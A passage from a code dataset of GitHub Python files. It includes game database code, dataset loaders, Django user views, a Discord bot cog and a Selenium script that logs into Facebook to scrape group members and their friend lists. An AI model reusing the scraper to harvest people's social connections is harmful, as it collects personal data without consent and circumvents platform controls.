\"weapon\" = excluded.\"weapon\",\n                \"shield\" = excluded.\"shield\",\n                \"armor\" = excluded.\"armor\",\n                \"timestamp\" = now();\"\"\"\n        self._write(sql,(playerId, weapon, shield, armor))\n    \n    def setResearchDrive(self, playerId:str, combustion:int, impulse:int, hyperspace:int):\n        sql = \"\"\" INSERT INTO public.research(\n            \"playerId\",\"combustion\", \"impulse\", \"hyperspace\")\n            VALUES (%s, %s, %s, %s)\n            on conflict (\"playerId\") DO UPDATE \n            SET \"combustion\" = excluded.\"combustion\",\n                \"impulse\" = excluded.\"impulse\",\n                \"hyperspace\" = excluded.\"hyperspace\",\n                \"timestamp\" = now();\"\"\"\n        self._write(sql,(playerId, combustion, impulse, hyperspace))\n\n    def setStats(self, players:list):\n        self._logger.debug(\"start Player write\")\n        \n        self._savedAllianceData = []\n        #ToDo: performance\n        for player in players:\n            self._writePlayer(player)\n            self._writeAllianz(player)\n            self._writeStats(player)\n        self._logger.debug(\"Complete Player write complete count: %s\",len(players))\n    \n    def setAuthorization(self, userId:str , role:int, username:str):\n        sql = \"\"\"INSERT INTO public.authorization(\n            \"userId\", \"roleId\", \"username\")\n            VALUES (%s, %s, %s) ON CONFLICT (\"userId\") DO UPDATE\n                SET \"roleId\" = excluded.\"roleId\";\"\"\"\n        \n        self._write(sql,(userId, role, username))\n    \n    def setMoon(self, playerId:str, galaxy:int, system:int, position:int, moon:bool):\n        sql = \"\"\"UPDATE PUBLIC.\"planet\"\n            SET MOON = %s\n            WHERE PLANET.\"playerId\" = %s\n                AND PLANET.\"galaxy\" = %s\n                AND PLANET.\"system\" = %s\n                AND PLANET.\"position\" = %s;\"\"\"\n        \n        self._write(sql,(moon, playerId, galaxy, system, position, ))\n    \n    def setSensor(self, playerId:str, galaxy:int, system:int, position:int, sensor:int):\n        sql = \"\"\"UPDATE PUBLIC.\"planet\"\n            SET \"sensorPhalanx\" = %s,\n                \"timestamp\" = now()\n            WHERE PLANET.\"playerId\" = %s\n                AND PLANET.\"galaxy\" = %s\n                AND PLANET.\"system\" = %s \n                AND PLANET.\"position\" = %s;\"\"\"\n        \n        self._write(sql,(sensor, playerId, galaxy, system, position, ))\n    \n    def setJumpGate(self, playerId:str, galaxy:int, system:int, position:int, jumpGate:int):\n        sql = \"\"\"UPDATE PUBLIC.\"planet\"\n            SET \"jumpgate\" = %s,\n                \"timestamp\" = now()\n            WHERE PLANET.\"playerId\" = %s\n                AND PLANET.\"galaxy\" = %s\n                AND PLANET.\"system\" = %s \n                AND PLANET.\"position\" = %s;\"\"\"\n        \n        self._write(sql,(jumpGate, playerId, galaxy, system, position, ))","repo_name":"7Surfer/PDB3","sub_path":"utils/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":18268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1793407848","text":"from torchvision import transforms\r\nfrom torchvision.datasets import CIFAR10, SVHN\r\n\r\nDATASETS = ['cifar10', 'svhn']\r\n\r\nroot = '../data'\r\n\r\n\r\ndef get_dataset(dataset):\r\n    if dataset == 'cifar10':\r\n        transform_train = transforms.Compose([\r\n            transforms.RandomCrop(32, padding=4),\r\n            transforms.RandomHorizontalFlip(),\r\n            transforms.ToTensor(),\r\n        ])\r\n        transform_test = transforms.Compose([\r\n            transforms.ToTensor(),\r\n        ])\r\n        \r\n        trainset = CIFAR10(\r\n            root=root, train=True, download=True, transform=transform_train)\r\n        testset = CIFAR10(\r\n            root=root, train=False, download=True, transform=transform_test)\r\n        \r\n        return trainset, testset, transform_test\r\n    elif dataset == 'svhn':\r\n        transform_train = transforms.Compose([\r\n        transforms.RandomCrop(32, padding=4),\r\n        transforms.RandomHorizontalFlip(),\r\n        transforms.ToTensor(),\r\n        ])\r\n        transform_test = transforms.Compose([\r\n        transforms.ToTensor(),\r\n        ])\r\n\r\n        trainset = SVHN(\r\n            root=root, split='train', download=True, transform=transform_train)\r\n        testset = SVHN(\r\n            root=root, split='test', download=True, transform=transform_test)\r\n        \r\n        return trainset, testset, transform_test\r\n        ","repo_name":"SWEEN-author/SWEEN","sub_path":"datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73715515309","text":"import sys\nsys.setrecursionlimit(100000)\nR, G, B = (0, 1, 2)\nN = int(input())\ncolor_cost = [[-1, -1, -1]] + [list(map(int, input().split(' '))) for i in range(N)]\nmin_cost = [[-1 for j in range(3)] for i in range(N+1)]\n\nmin_cost[1][R] = min(color_cost[1][G], color_cost[1][B])\nmin_cost[1][G] = min(color_cost[1][B], color_cost[1][R])\nmin_cost[1][B] = min(color_cost[1][R], color_cost[1][G])\n\ndef get_pair_colors(color):\n    if color == R:\n        return (G, B)\n    elif color == G:\n        return (R, B)\n    elif color == B:\n        return (R, G)\n\ndef get_min_cost(N, parent_color = None, parent_cost = -1):\n    if parent_color == None:\n        return min(get_min_cost(N-1, R, color_cost[N][R]), get_min_cost(N-1, G, color_cost[N][G]), get_min_cost(N-1, B, color_cost[N][B])) \n    else:\n        if N == 1:\n            return parent_cost + min_cost[1][parent_color]\n        else:\n            pair = get_pair_colors(parent_color)\n            if min_cost[N][parent_color] == -1:\n                min_cost[N][parent_color] = parent_cost + min(get_min_cost(N-1, pair[0], color_cost[N][pair[0]]), get_min_cost(N-1, pair[1], color_cost[N][pair[1]]))\n            return min_cost[N][parent_color]\n   \nprint(get_min_cost(N, None, -1))   ","repo_name":"junwha0511/ACMICPC","sub_path":"1149.py","file_name":"1149.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"3894537103","text":"from django.db.utils import IntegrityError\nfrom django.views.generic.base import View\nfrom django.http import JsonResponse, QueryDict\nfrom django.views.decorators.http import require_http_methods\nfrom userapp.forms import UserForm\nfrom userapp.models import User\nfrom androidbackend.utils import message, make_security, handle_uploaded_file\nfrom androidbackend.settings import ACCESS_TOKEN, MEDIA_ROOT\nfrom hotspotapp.models import HotSpot\nfrom activityapp.models import Activity\nfrom django.db.models import Q\n\nimport os\n\n\nclass UserManager(View):\n    # detail\n    def get(self, request):\n        access_token = request.META.get(ACCESS_TOKEN, '')\n        action = request.GET.get('action')\n        if action == 'detail':\n            user_id = request.GET.get('usr_id')\n            user = User.objects.filter(pk=user_id).first()\n        elif action == 'search':\n            u = {'user': []}\n            key = request.GET.get('key', '').replace(\"'\", '').replace('\"', '').replace('.', '').replace(';', \"\")\n            users = User.objects.filter(name__contains=key).all()\n            for user in users:\n                u['user'].append(user.tojson())\n            return JsonResponse(u)\n        else:\n            user = User.objects.filter(access_token=access_token).first()\n        return JsonResponse(user.tojson())\n\n    # register and login\n    def post(self, request):\n        password = request.POST.get('password', '')\n        telephone = request.POST.get('telephone', '')\n        action = request.POST.get('action', '')\n        # if not (password or telephone or action):\n        #     msg = message(msg='请求信息不全！')\n        #     return JsonResponse(msg)\n        # 登陆\n        if action == 'login':\n            password = make_security(password.encode('utf8'))\n            user = User.objects.filter(telephone=telephone, password=password).first()\n            if user:\n                user_json = user.tojson_except_evaluation()\n                user_json['msg'] = \"登录成功！\"\n                user_json['status'] = 'success'\n                user_json['access_token'] = user.access_token\n                return JsonResponse(user_json)\n            else:\n                msg = message(msg='账户或密码错误!')\n                return JsonResponse(msg)\n        # 注册\n        elif action == 'register':\n            password = make_security(password.encode('utf8'))\n            access_token = make_security((telephone + password).encode('utf8'))\n            user = User(name=telephone[:2] + telephone[9:], password=password, telephone=telephone,\n                        access_token=access_token)\n            try:\n                user.save()\n            except IntegrityError as ie:\n                print(ie)\n                msg = message(msg='手机重复!')\n                return JsonResponse(msg)\n            msg = message(msg='注册成功!', status='success')\n            return JsonResponse(msg)\n        # 修改\n        elif action == 'alter':\n            access_token = request.META.get(ACCESS_TOKEN, '')\n            if access_token:\n                user = User.objects.filter(access_token=access_token).first()\n                name = request.POST.get('name', '')\n                if name:\n                    user.name = name\n                    user.save()\n                else:\n                    user_form = UserForm(request.POST, request.FILES, instance=user)\n                    if user_form.is_valid():\n                        user_form.save()\n                msg = message(msg='修改成功！', status='success')\n                return JsonResponse(msg)\n        msg = message(msg='请求信息不全！')\n        return JsonResponse(msg)\n\n    # 关注 and 收藏\n    def put(self, request):\n        body = QueryDict(request.body)\n        msg = message(msg='操作失败！')\n        action = body.get('action')\n        access_token = request.META.get(ACCESS_TOKEN, '')\n        # 关注好友\n        if action == 'follow':\n            follow_tel = body.get('follow_tel')\n            msg = message(msg='操作失败')\n            if access_token and follow_tel:\n                follow_user = User.objects.filter(telephone=follow_tel).first()\n                user = User.objects.filter(access_token=access_token).first()\n                is_following = False\n                for x in user.following.all():\n                    if x.telephone == follow_user.telephone:\n                        is_following = True\n                        break\n                if is_following:\n                    user.following.remove(follow_user)\n                    msg = message(msg='取关成功！', status='success_unfollow')\n                else:\n                    user.following.add(follow_user)\n                    msg = message(msg='关注成功！', status='success_follow')\n        # 收藏地点\n        elif action == 'favour_hs':\n            hs_id = body.get('hotspot_id')\n            if hs_id:\n                hs_id = int(hs_id)\n                hotspot = HotSpot.objects.filter(id=hs_id).first()\n                user = User.objects.filter(access_token=access_token).first()\n                is_favour = False\n                for x in user.favour_hotspot.all():\n                    if x.id == hs_id:\n                        is_favour = True\n                        break\n                if is_favour:\n                    user.favour_hotspot.remove(hotspot)\n                    msg = message(msg='取消收藏成功！', status='success_unfavour')\n                else:\n                    user.favour_hotspot.add(hotspot)\n                    msg = message(msg='收藏成功！', status='success_favour')\n        # 收藏活动\n        elif action == 'favour_act':\n            act_id = body.get('activity_id')\n            if act_id:\n                act_id = int(act_id)\n                activity = Activity.objects.filter(id=act_id).first()\n                user = User.objects.filter(access_token=access_token).first()\n                is_favour = False\n                for x in user.favour_activity.all():\n                    if x.id == act_id:\n                        is_favour = True\n                        break\n                if is_favour:\n                    user.favour_activity.remove(activity)\n                    msg = message(msg='取消收藏成功！', status='success_unfavour')\n                else:\n                    user.favour_activity.add(activity)\n                    msg = message(msg='收藏成功！', status='success_favour')\n        return JsonResponse(msg)\n\n\n# 粉丝和关注列表\n@require_http_methods(['GET'])\ndef get_my_follow(request):\n    access_token = request.META.get(ACCESS_TOKEN)\n    user = User.objects.filter(access_token=access_token).first()\n    from collections import defaultdict\n    follow = defaultdict(lambda: [])\n    for fans in user.following.all():\n        follow['following'].append(fans.tojson_except_evaluation())\n    for follower in user.follower.all():\n        follow['follower'].append(follower.tojson_except_evaluation())\n    return JsonResponse(follow)\n\n\n# 收藏列表\n@require_http_methods(['GET'])\ndef get_my_favour(request):\n    access_token = request.META.get(ACCESS_TOKEN)\n    user = User.objects.filter(access_token=access_token).first()\n    from collections import defaultdict\n    favour = defaultdict(lambda: [])\n    for hs in user.favour_hotspot.all():\n        hs_json = hs.tojson()\n        hs_json['isfavour'] = 1\n        favour['hotspot'].append(hs_json)\n    # 注意！！\n    for activity in user.favour_activity.all():\n        activity_json = activity.tojson()\n        host_user = User.objects.filter(telephone=activity.host_user).first()\n        if host_user:\n            activity_json['host_user'] = host_user.tojson()\n        activity_json['isfavour'] = 1\n        favour['activity'].append(activity_json)\n    # 可能有路线\n    return JsonResponse(favour)\n\n\n# 我创建的活动\n@require_http_methods(['GET'])\ndef get_my_activity(request):\n    access_token = request.META.get(ACCESS_TOKEN)\n    user = User.objects.filter(access_token=access_token).first()\n    my_activities = Activity.objects.filter(host_user=user.telephone).all()\n    my_act = {'activity': []}\n    for a in my_activities:\n        activity_json = a.tojson()\n        for item in user.favour_activity.all():\n            if a.id == item.id:\n                activity_json['isfavour'] = 1\n                break\n        activity_json['host_user'] = user.tojson()\n        my_act['activity'].append(activity_json)\n    return JsonResponse(my_act)\n","repo_name":"waveyan/AndroidBackend","sub_path":"userapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"4517901555","text":"\n_is_init = 0\n\n\n\ndef init():\n    global list_cameras, Camera, colorspace, _is_init\n\n\n    import os,sys\n\n    use_opencv = False\n    use_vidcapture = False\n    use__camera = True\n\n\n    if sys.platform == 'win32':\n        use_vidcapture = True\n        use__camera = False\n\n    elif \"linux\" in sys.platform:\n        use__camera = True\n    elif \"darwin\" in sys.platform:\n        use__camera = True\n    else:\n        use_opencv = True\n\n\n\n    # see if we have any user specified defaults in environments.\n    camera_env = os.environ.get(\"PYGAME_CAMERA\", \"\")\n    if camera_env == \"opencv\":\n        use_opencv = True\n    if camera_env == \"vidcapture\":\n        use_vidcapture = True\n\n\n\n    # select the camera module to import here.\n\n    # the _camera module has some code which can be reused by other modules.\n    #  it will also be the default one.\n    if use__camera:\n        from pygame import _camera\n        colorspace = _camera.colorspace\n\n        list_cameras = _camera.list_cameras\n        Camera = _camera.Camera\n\n    if use_opencv:\n        try:\n            from pygame import _camera_opencv_highgui\n        except:\n            _camera_opencv_highgui = None\n\n        if _camera_opencv_highgui:\n            _camera_opencv_highgui.init()\n\n            list_cameras = _camera_opencv_highgui.list_cameras\n            Camera = _camera_opencv_highgui.Camera\n\n    if use_vidcapture:\n        try:\n            from pygame import _camera_vidcapture\n        except:\n            _camera_vidcapture = None\n\n        if _camera_vidcapture:\n            _camera_vidcapture.init()\n            list_cameras = _camera_vidcapture.list_cameras\n            Camera = _camera_vidcapture.Camera\n\n\n\n    _is_init = 1\n    pass\n\n\ndef quit():\n    global _is_init\n    _is_init = 0\n    pass\n \n\ndef _check_init():\n    global _is_init\n    if not _is_init:\n        raise ValueError(\"Need to call camera.init() before using.\")\n\ndef list_cameras():\n    \"\"\"\n    \"\"\"\n    _check_init()\n    raise NotImplementedError()\n\n\nclass Camera:\n\n    def __init__(self, device =0, size = (320, 200), mode = \"RGB\"):\n        \"\"\"\n        \"\"\"\n        _check_init()\n        raise NotImplementedError()\n\n    def set_resolution(self, width, height):\n        \"\"\"Sets the capture resolution. (without dialog)\n        \"\"\"\n        pass\n\n    def start(self):\n        \"\"\"\n        \"\"\"\n\n    def stop(self):\n        \"\"\"\n        \"\"\"\n\n    def get_buffer(self):\n        \"\"\"\n        \"\"\"\n\n    def set_controls(self, **kwargs):\n        \"\"\"\n        \"\"\"\n\n    def get_image(self, dest_surf = None):\n        \"\"\"\n        \"\"\"\n\n    def get_surface(self, dest_surf = None):\n        \"\"\"\n        \"\"\"\n\n\n\nif __name__ == \"__main__\":\n\n    # try and use this camera stuff with the pygame camera example.\n    import pygame.examples.camera\n\n    #pygame.camera.Camera = Camera\n    #pygame.camera.list_cameras = list_cameras\n    pygame.examples.camera.main()\n\n    \n\n","repo_name":"wistbean/fxxkpython","sub_path":"vip/qyxuan/projects/venv/lib/python3.6/site-packages/pygame/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","stars":237,"dataset":"github-code","pt":"38"}
{"seq_id":"39211186635","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import url\nfrom rest_framework.authtoken import views\nfrom .views import *\n\n\ndef remove_space(s):\n    return ''.join(s.split())\n\n\nurlpatterns = [\n    url(r'^v1/auth/$', views.obtain_auth_token),\n    url(r'^v1/hello/$', Hello.as_view()),\n    url(r'^v1/register/$', Register.as_view()),\n    url(r'^v1/resetpassword/$', ResetPassword.as_view()),\n    url(r'^v1/login/$', Login.as_view()),\n    url(r'^v1/login/thirdparty/$', LoginThirdParty.as_view()),\n    url(r'^v1/devicetoken/$', UserDeviceTokenView.as_view()),\n    url(r'^v1/userprofile/$', UserProfileView.as_view()),\n\n    url(r'^v1/uploadtoken/$', UploadTokenView.as_view()),\n    url(r'^v1/downloadurl/(?P<key>[\\w\\-\\.]+)/$', PrivateDownloadURL.as_view()),\n\n    url(r'^v1/item/(?P<item_id>\\d+)/$', ItemDetail.as_view()),\n    url(r'^v1/user/(?P<user_id>\\d+)/item/$', UserItemList.as_view()),\n\n    # User(open)\n    url(r'^v1/user/medals/$', UserMedalList.as_view()),\n    url(r'^v1/user/medals/(?P<friend_id>\\d+)/$', FriendMedalList.as_view()),\n    url(r'^v1/user/friends/$', UserFriendList.as_view()),\n    url(r'^v1/user/info/$', UserInfo.as_view()),\n    url(r'^v1/user/addfriends/$', AddFriends.as_view()),\n    url(r'^v1/user/addweibofriends/$', AddWeiboFriends.as_view()),\n    url(r'v1/user/checkfriends/$', CheckFriends.as_view()),\n    url(r'v1/user/checkweibofriends/$', CheckWeiboFriends.as_view()),\n    url(r'v1/user/followfriend/$', FollowFriend.as_view()),\n    url(r'v1/user/searchfriends/$', SearchFriends.as_view()),\n\n    # Map\n    url(remove_space(\n        r'''^v1/\n        city/(?P<city_key>\\w+)/\n        map/nearest/(?P<longitude>[0-9.]+),\n                    (?P<latitude>[0-9.]+)/\n        $'''),\n        NearestMap.as_view()),\n    url(remove_space(\n        r'''^v1/\n        map/nearest/(?P<longitude>[0-9.]+),\n                    (?P<latitude>[0-9.]+)/\n        $'''),\n        NearestMap.as_view()),\n    url(r'^v1/map/acquired/$', AcquiredMapList.as_view()),\n    url(r'^v1/map/(?P<map_id>\\d+)/complete/$', CompleteMap.as_view()),\n    url(r'^v1/map/completed/count/$', CompletedMapCount.as_view()),\n    url(r'^v1/story/(?P<story_id>\\d+)/complete-map/$',\n        CompleteMapByStoryID.as_view()),\n    # Anchor\n    url(r'^v1/map/(?P<map_id>\\d+)/anchor/$', MapAnchorList.as_view()),\n    # Task\n    url(r'^v1/task/(?P<task_id>\\d+)/$', TaskDetail.as_view()),\n    url(r'^v1/task/(?P<task_id>\\d+)/complete/$', CompleteTask.as_view()),\n    # Story\n    url(r'^v1/city/(?P<city_key>\\w+)/story/$', CityStoryList.as_view()),\n    url(r'^v1/story/(?P<story_id>\\d+)/$', StoryDetail.as_view()),\n    url(r'^v1/story/started/$', StartedStoryList.as_view()),\n    url(r'^v1/story/(?P<story_id>\\d+)/level/$', StoryLevelList.as_view()),\n    url(r'^v1/story/(?P<story_id>\\d+)/item/$', StoryItemList.as_view()),\n    url(r'^v1/story/(?P<story_id>\\d+)/complete/$', CompleteStory.as_view()),\n    url(r'^v1/story/(?P<story_id>\\d+)/level/(?P<level_id>\\d+)/complete/$',\n        CompleteStoryLevel.as_view()),\n    url(r'^v1/story/(?P<story_id>\\d+)/like/$',\n        LikeStory.as_view(),\n        kwargs={'like': True}),\n    url(r'^v1/story/(?P<story_id>\\d+)/dislike/$',\n        LikeStory.as_view(),\n        kwargs={'like': False}),\n    # Coupon\n    url(r'^v1/coupon/$', UserCouponList.as_view()),\n    url(r'^v1/coupon/(?P<uuid_>[-a-z0-9]{36})/consume/$',\n        ConsumeCoupon.as_view()),\n\n    # Message\n    url(r'^v1/messages/(?P<timestamp>\\d+)/$', UserMessageList.as_view()),\n    url(r'^v1/message/(?P<message_id>\\d+)/read/$', UserMessageMarkRead.as_view()),\n\n    # Activity\n    url(r'^v1/login_awards/$', LoginAwards.as_view()),\n]\n","repo_name":"ygeek/CEE","sub_path":"server/cee/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74307227310","text":"import logging\nimport os\nimport time\n\n\nACOUSTIC_SIGHT_DIR = os.path.dirname(os.path.realpath(__file__))\nPROJECT_DIR = os.path.dirname(ACOUSTIC_SIGHT_DIR)\nACOUSTIC_SIGHT_SERVER_DIR = os.path.join(PROJECT_DIR, 'acoustic_sight_server')\nSERVICES_DIR = os.path.join(PROJECT_DIR, 'services')\nDATA_DIR = os.path.join(SERVICES_DIR, 'data')\n\n\ndef get_logger(name, level=logging.INFO):\n    logger = logging.getLogger(name)\n    logger.setLevel(level)\n\n    return logger\n\n\nclass TimeMeasurer(object):\n    def __init__(self, logger=None, level=logging.DEBUG):\n        self.logger = logger\n        self.level = level\n\n    def measure_time(self, msg, fn, *args, **kwargs):\n        start = time.time()\n        result = fn(*args, **kwargs)\n        end = time.time()\n\n        log_text = '{msg} in {milis:08.6f} ms'.format(msg=msg, milis=(end - start) * 1000)\n        if self.logger is None:\n            print(log_text)\n        else:\n            print(log_text)\n            self.logger.log(self.level, log_text)\n\n        return result\n\n    def decorate(self, fn, msg='Operation'):\n        def decorated(*args, **kwargs):\n            return self.measure_time(msg, fn, *args, **kwargs)\n\n        return decorated\n\n    def decorate_method(self, obj, fn, msg='Operation'):\n        fn_name = fn.__name__\n        setattr(obj, fn_name, self.decorate(fn, msg=msg))\n\n","repo_name":"Sitin/acoustic-sight","sub_path":"acoustic_sight/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"19480771074","text":"from scipy import stats\r\nfrom scipy import sparse\r\nfrom numpy import array\r\nimport numpy as np\r\nfrom scipy.spatial import distance\r\n\r\nbeta = -1.0\r\ni_list = []\r\nj_list = []\r\nv_list = []\r\nfc = open(\"C_matrix.txt\",\"r\")\r\n\r\nfor fline in fc:\r\n  l = fline.split(\" \")\r\n  i_list.append(int(l[0]))\r\n  j_list.append(int(l[1]))\r\n  v_list.append(-int(l[2]))\r\nfc.close()\r\n\r\nn = 2715\r\nI = array(i_list)\r\nJ = array(j_list)\r\nV = array(v_list)\r\nedges_dict = {}\r\nfor i in range(len(I)):\r\n    edges_dict[(I[i],J[i])] = abs(V[i])\r\n    edges_dict[(J[i],I[i])] = abs(V[i])\r\nC = sparse.coo_matrix((V,(I,J)),shape=(n,n))\r\n#C = C.toarray()\r\n\r\nC_sum = np.sum(C.toarray(),axis=0)\r\n\r\ns_i_greather_than_10 = np.abs(C_sum) >= 10\r\ns_i_greather_than_20 = np.abs(C_sum) >= 20\r\n\r\nevaluate_euclidean_representations = False\r\nrecall_at_1 = 0.0\r\nif evaluate_euclidean_representations:\r\n    ambient_euclidean_dimensionality = 6\r\n    print(\"Euclidean space of dimensionality %d\" % ambient_euclidean_dimensionality)\r\n    file_name = \"nips_data/euclidean_%d/1/x.txt\" % ambient_euclidean_dimensionality\r\n    X = np.loadtxt(file_name, usecols=range(ambient_euclidean_dimensionality))\r\n    K = distance.cdist(X, X, 'sqeuclidean')\r\n    \r\nelse:\r\n\r\n    dimensionality_of_ambient_space  = 7\r\n    time_dimensions = 4\r\n    print(\"dimensionality of the ambient space = %d\" % dimensionality_of_ambient_space)\r\n    if time_dimensions == 1:\r\n        print(\"hyperbolic case\")\r\n    elif time_dimensions == dimensionality_of_ambient_space :\r\n        print(\"spherical case\")\r\n    else:\r\n        print(\"ultrahyperbolic case with %d time dimensions\" % time_dimensions)\r\n\r\n    file_name = \"nips_data/d_%d_q_%d/1/x.txt\" % (dimensionality_of_ambient_space , time_dimensions)\r\n    X = np.loadtxt(file_name, usecols=range(dimensionality_of_ambient_space))\r\n    G = np.identity(dimensionality_of_ambient_space )\r\n    for i in range(time_dimensions):\r\n        G[i,i] = -1\r\n    K = np.matmul(np.matmul(X,G), X.transpose())\r\n    hyperbolic_indices = K <= -1.0\r\n    if time_dimensions == dimensionality_of_ambient_space :\r\n        linear_approximation = K > 1.0\r\n    else:\r\n        linear_approximation = K > 0.0\r\n    spherical_indices = ~hyperbolic_indices & ~linear_approximation\r\n    K[hyperbolic_indices] = np.arccosh(K[hyperbolic_indices] / beta)\r\n    K[spherical_indices] = np.arccos(K[spherical_indices] / beta)\r\n    K[linear_approximation] = np.pi - K[linear_approximation] / beta\r\nfor u in range(K.shape[0]):\r\n    K[u][u] = 0.0\r\nK_sum = np.sum(K,axis=0)\r\n\r\nprint(\"Spearman's rank correlation coefficient for the whole dataset:\")\r\nprint(stats.spearmanr(C_sum,K_sum))\r\nprint(\"Spearman's rank correlation coefficient for s_i >= 10\")\r\nprint(stats.spearmanr(C_sum[s_i_greather_than_10],K_sum[s_i_greather_than_10]))\r\nprint(\"Spearman's rank correlation coefficient for s_i >= 20\")\r\nprint(stats.spearmanr(C_sum[s_i_greather_than_20],K_sum[s_i_greather_than_20]))\r\nfor u in range(K.shape[0]):\r\n    K[u][u] = np.Inf\r\nargmin_distance = np.argmin(K, axis=0)\r\nfor u in range(K.shape[0]):\r\n    if (u, argmin_distance[u]) in edges_dict:\r\n        recall_at_1 += 1.0\r\nprint(\"recall at 1 = %f\" % (100.0 * recall_at_1 / n))\r\n","repo_name":"MarcTLaw/UltrahyperbolicRepresentation","sub_path":"nips_dataset_experiments/evaluation/scipy_evaluation.py","file_name":"scipy_evaluation.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"38"}
{"seq_id":"28474799619","text":"import discord\nimport aiohttp\nimport asyncio\nimport json\nfrom discord.utils import get\nfrom discord.ext import commands\nfrom discord import guild\nfrom discord.channel import DMChannel\n\n\nrolesF = json.loads(open(\"config/roles.json\", \"r\").read())\n\ndevLeadID = rolesF[\"devLead\"]\ndevID = rolesF[\"dev\"]\n\n\n# Role managment functions.\ndef hasRole(member, id):\n        for role in member.roles:\n                if id == role.id:\n                        return True\n        return False\n\n# Actual COG and command.\nclass DevRole(commands.Cog,name=\"BOT Dev\"):\n        def __init__(self,bot):\n                self.bot = bot\n\n        @commands.command(description=\"Toggles bot-dev role to someone.\", usage=\"\", hidden=True)\n        async def botdev(self, ctx, member: discord.Member):\n\n                devRole = ctx.guild.get_role(devID)\n                \n                # Check if the user has the requiered role to issue the command. (DEV LEAD)\n                if (hasRole(ctx.author, devLeadID) and not (hasRole(member, devID))):\n                        await member.add_roles(devRole)\n                        await ctx.send(\"Welcome on the BOT Dev team, \" + member.mention + \"!\")\n                elif (hasRole(ctx.author, devLeadID) and (hasRole(member, devID))):\n                        await member.remove_roles(devRole)\n                        await ctx.send(member.mention + \" left the BOT Dev team!\")\n                else:\n                        await ctx.send(\"Sorry, \" + ctx.author.mention + \" but you do not have the permission to do that.\")\n            \n\ndef setup(bot):\n        bot.add_cog(DevRole(bot))\n","repo_name":"cannibalcheeseburger/THM-Bot","sub_path":"cogs/devrole.py","file_name":"devrole.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"21124006089","text":"import requests\nimport time\nimport json\nimport re\nimport urllib\n# Webdriver\nfrom selenium.webdriver import Firefox\nfrom selenium.webdriver.firefox.service import Service\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\n# Automatic firefox selenium driver\nfrom webdriver_manager.firefox import GeckoDriverManager\n# Get environment variables\nfrom dotenv import dotenv_values\n# Utility\nfrom utils import fetch_profile_path\n\nurl = 'https://www.facebook.com/api/graphql/'\nbase_referrer = \"https://www.facebook.com/groups/{GROUP_ID}/members\"\nquery = \"GroupsCometMembersPageNewMembersSectionRefetchQuery\"\ndoc_id = 6708203862579771\n\nconfig = dotenv_values(\".env\")\n\nfriends_panel_class = \"x9f619 x1n2onr6 x1ja2u2z x2bj2ny x1qpq9i9 xdney7k xu5ydu1 xt3gfkd xh8yej3 x6ikm8r x10wlt62 xquyuld\"\nfriends_panel_selector = f\"div[class='{friends_panel_class}']\"\n\nfriend_link_class = (\n    \"x1i10hfl xjbqb8w x6umtig x1b1mbwd xaqea5y xav7gou x9f619 x1ypdohk xt0psk2 \"\n    \"xe8uvvx xdj266r x11i5rnm xat24cr x1mh8g0r xexx8yu x4uap5 x18d9i69 xkhd6sd \"\n    \"x16tdsg8 x1hl2dhg xggy1nq x1a2a7pz x1heor9g xt0b8zv\"\n) \nfriend_link_selector = f\"a[class='{friend_link_class}']\"\n\nloading_friends_panel_class = \"x1a2a7pz x78zum5 x1q0g3np x1a02dak x1qughib\"\nloading_friends_panel_selector = f\"div[class='{loading_friends_panel_class}'][data-visualcompletion='loading-state']\"\n\n# Functions:\n\nclass Scraper:\n\n    def __init__(self, group_id, members, friends_all=None):\n        \"\"\"\n        Create the scraper.\n\n        :param group_id: The Facebook id of the group to scrape\n        :param members: An existing list of facebook group members\n        :param friends: An existing dictionary of members mapped to their friends\n        \"\"\"\n        self.group_id = group_id\n\n        # Fetch the profile path\n        path = fetch_profile_path()\n\n        # Create path\n        options = Options()\n        options.set_preference('profile', r\"\" + path)\n\n        # Create service\n        service = Service(GeckoDriverManager().install())\n\n        # Create the driver\n        self.driver = Firefox(service=service, options=options)\n\n        # Save given data\n        self.members = members\n        if friends_all is None:\n            friends_all = {}\n        self.friends_all = friends_all\n\n    def login(self):\n        \"\"\"\n        Login to Facebook using the Selenium webdriver.\n        \"\"\"\n        # Open Facebook\n        self.driver.get(\"https://www.facebook.com/\")\n\n        # Accept cookies\n        accept_cookies_button = WebDriverWait(self.driver, 10).until(\n            EC.element_to_be_clickable(\n                (By.CSS_SELECTOR, \"button[data-testid='cookie-policy-manage-dialog-accept-button']\")\n            )\n        )\n\n        accept_cookies_button.click()\n\n        # Fill the login fields with our user and password.\n        user_css_selector = \"input[name='email']\"\n        password_css_selector = \"input[name='pass']\"\n\n        username_input = WebDriverWait(self.driver, 10).until(\n            EC.element_to_be_clickable((By.CSS_SELECTOR, user_css_selector))\n        )\n        password_input = WebDriverWait(self.driver, 10).until(\n            EC.element_to_be_clickable((By.CSS_SELECTOR, password_css_selector))\n        )\n\n        username_input.clear()\n        username_input.send_keys(config[\"user\"])\n        password_input.clear()\n        password_input.send_keys(config[\"password\"])\n\n        # Click the login button\n        time.sleep(1)\n        WebDriverWait(self.driver, 